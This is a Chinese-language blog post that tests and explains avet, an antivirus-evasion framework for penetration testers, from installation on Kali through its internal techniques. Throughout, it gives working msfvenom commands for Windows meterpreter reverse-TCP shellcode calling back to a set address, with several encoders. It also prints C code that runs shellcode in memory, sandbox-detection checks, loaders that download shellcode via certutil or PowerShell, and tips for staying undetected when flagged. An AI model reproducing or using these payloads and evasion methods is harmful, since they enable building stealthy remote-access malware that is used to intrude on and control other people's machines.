AntiVirus Evasion Tool(avet)測試分析
0x00 前言
avet是一款用來繞過防毒軟體檢測的工具,使用了多種不同的反病毒規避技術。
分別入選blackhat ASIA 2017 arsnal、blackhat USA 2017 arsnal和blackhat USA 2018 arsnal:
https://www.blackhat.com/asia-17/arsenal.html#avet-antivirus-evasion-tool
https://www.blackhat.com/us-17/arsenal/schedule/index.html#avet---antivirus-evasion-tool-7908
https://www.blackhat.com/us-18/arsenal/schedule/index.html#avet-antivirus-evasion-tool-10692
github開源地址:
https://github.com/govolution/avet
本文將要對其進行測試,結合自己的經驗分析avet使用的反病毒規避技術
0x01 簡介
本文將要介紹以下內容:
-
環境搭建
-
使用流程
-
工具實現細節
-
技術細節分析
0x02 環境搭建
測試系統:kali2 x64
1、下載
https://github.com/govolution/avet
2、編譯
如果使用32位kali系統,需要編譯
gcc -o make_avet make_avet.c
64位kali系統不需要
3、安裝wine32
否則,無法生成exe
如下圖
安裝命令:
global_
4、安裝TDM GCC
參考地址:
https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/
下載:
https://sourceforge.net/projects/tdm-gcc/
安裝:
wine tdm64-gcc-5.1.0-2.exe
彈出安裝視窗,選擇Create
選擇MinGW-w64/TDM64(32-bit and 64-bit)
接下來,均選擇預設設定,最後安裝
5、測試
執行:
./make_avet -h
獲得引數說明
0x03 使用流程
1、執行avet_fabric.py
如下圖
2、選擇script
這裡選擇7: build_win64_meterpreter_rev_tcp_xor.sh
3、編輯指令碼內容
顯示預設指令碼內容,可進行修改,如下圖
注:
指令碼內容對應檔案/build/build_win64_meterpreter_rev_tcp_xor.sh
預設指令碼內容及說明如下:
(1) 指定gcc編譯設定,內容為win64_compiler="wine gcc -m64"
. build/global_win64.sh
(2) 使用meterpreter生成reverse payload並儲存為sc.txt
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f c --platform Windows > sc.txt
(3) 讀取sc.txt的內容,提取出shellcode,刪除檔案sc.txt
./format.sh sc.txt > scclean.txt && rm sc.txt
(4) 呼叫make_avet,向檔案defs.h傳入shellcode和功能標誌位
./make_avet -f scclean.txt -X -E
(5) 使用gcc編譯avet.c(avet.c會呼叫defs.h),生成最終檔案pwn.exe
$win64_compiler -o pwn.exe avet.c
(6) 刪除檔案scclean.txt,清空檔案defs.h
rm scclean.txt && echo "" > defs.h
4、執行,生成最終檔案
確認指令碼內容後,輸入回車,執行指令碼,如下圖
生成最終檔案pwn.exe
0x04 工具實現細節
1、通過meterpreter生成payload並儲存檔案
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f hex --platform Windows > sc.txt
檔案內容如下圖
2、執行format.sh將shellcode從前面的檔案提取出來
./format.sh sc.txt > scclean.txt
提取後的檔案內容如下圖
注:
個人認為,以上兩步可通過一條命令實現:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f hex --platform Windows > sc.txt
3、執行make_avet,從前面的檔案提取shellcode,並設定功能標誌位,寫入檔案defs.h
功能標誌位對應make_avet支援的多種功能,可通過執行./make_avet -h獲得詳細說明
具體功能如下:
-
從指定檔案讀取shellcode並執行
-
從指定檔案讀取加密的shellcode,解密後執行
-
呼叫iexplore.exe訪問指定url,獲得shellcode並執行
-
通過WinAPI呼叫socket,訪問指定url的80埠,獲得shellcode並執行
-
通過certutil下載檔案,獲得shellcode並執行
-
通過powershell下載檔案,獲得shellcode並執行
-
使用WinAPI fopen繞過沙盒
-
使用WinAPI gethostbyname繞過沙盒
-
編譯成64位
-
隱藏程式視窗
4、使用gcc編譯avet.c,生成最終檔案
avet.c為主體程式,從標頭檔案defs.h讀取shellcode和功能標誌位
0x05 技術細節分析
1、執行shellcode的核心程式碼
(1)
void exec_shellcode(unsigned char *shellcode) { int (*funct)(); funct = (int (*)()) shellcode; (int)(*funct)(); }
對應生成shellcode的引數:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x86/xor -f hex -a x86 --platform Windows > sc.txt
(2)
void exec_shellcode_ASCIIMSF(unsigned char *shellcode) { register unsigned char* r asm("eax"); r=shellcode; asm("call *%eax;"); }
對應生成shellcode的引數:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x86/alpha_mixed -f hex -a x86 --platform Windows > sc.txt
(3)
void exec_shellcode64(unsigned char *shellcode) { int len=strlen(shellcode); DWORD l=0; VirtualProtect(shellcode,len,PAGE_EXECUTE_READWRITE,&l); (* (int(*)()) shellcode)(); }
生成shellcode的引數:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.142 lport=443 -e x64/xor -f hex --platform Windows > sc.txt
注:
shellcode的加密方法還可以選擇shikata_ga_nai,使用shikata_ga_nai加密50輪的引數如下:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.103 lport=443 -e x86/shikata_ga_nai -i 50 -f hex -a x86 --platform Windows > sc.txt
補充:
執行shellcode的方法不唯一,這裡再給出另外一種執行shellcode的示例程式碼:
void exec_shellcode(unsigned char *shellcode) { ((void(*)(void))&shellcode)(); }
shellcode的生成方式也不唯一,可以按照自己的思路生成shellcode
2、自己實現的加解密演算法
加密對應引數為:
./make_avet -E
解密對應的程式碼為:
unsigned char* decode_shellcode(unsigned char *buffer, unsigned char *shellcode, int size) { int j=0; shellcode=malloc((size/2)); int i=0; do { unsigned char temp[3]={0}; sprintf((char*)temp,"%c%c",buffer[i],buffer[i+1]); shellcode[j] = strtoul(temp, NULL, 16); i+=2; j++; } while(i<size); return shellcode; }
3、繞過沙盒
(1) 使用WinAPI fopen
將shellcode儲存在檔案c:\windows\system.ini中
主程式執行時讀取檔案c:\windows\system.ini
如果在沙盒中,無法開啟檔案c:\windows\system.ini,主程式自動退出
關鍵程式碼:
FILE *fp = fopen("c:\\windows\\system.ini", "rb"); if (fp == NULL) return 0; fclose(fp);
(2) 使用WinAPI gethostbyname
主程式呼叫WinAPI gethostbyname獲得指定主機名的主機資訊
如果在沙盒中,gethostbyname將會返回NULL,主程式自動退出
關鍵程式碼:
struct hostent *hp = gethostbyname(KVALUE); if (hp != NULL) exit(0);
注:
判斷沙盒條件的方法不唯一,例如系統程序資訊、配置資訊、裝置資訊等
4、支援psexec遠端執行
主體程式更換為avetsvc.c
avetsvc.c相比於avet.c,程式碼添加了註冊服務的功能,能夠通過psexec以服務的方式遠端啟動
0x06 免殺效果
具體免殺效果略
如果被查殺,可以嘗試以下方法:
-
修改shellcode
-
加密shellcode
-
修改shellcode的載入方式
-
使用含有數字簽名的可信程式啟動shellcode
0x07 小結
本文對avet進行實際測試,分析其中的技術細節,省略實際免殺效果。
總體來說,avet實現了一個完整的框架,在此基礎上易於做二次開發,確實能夠提高滲透測試人員的效率。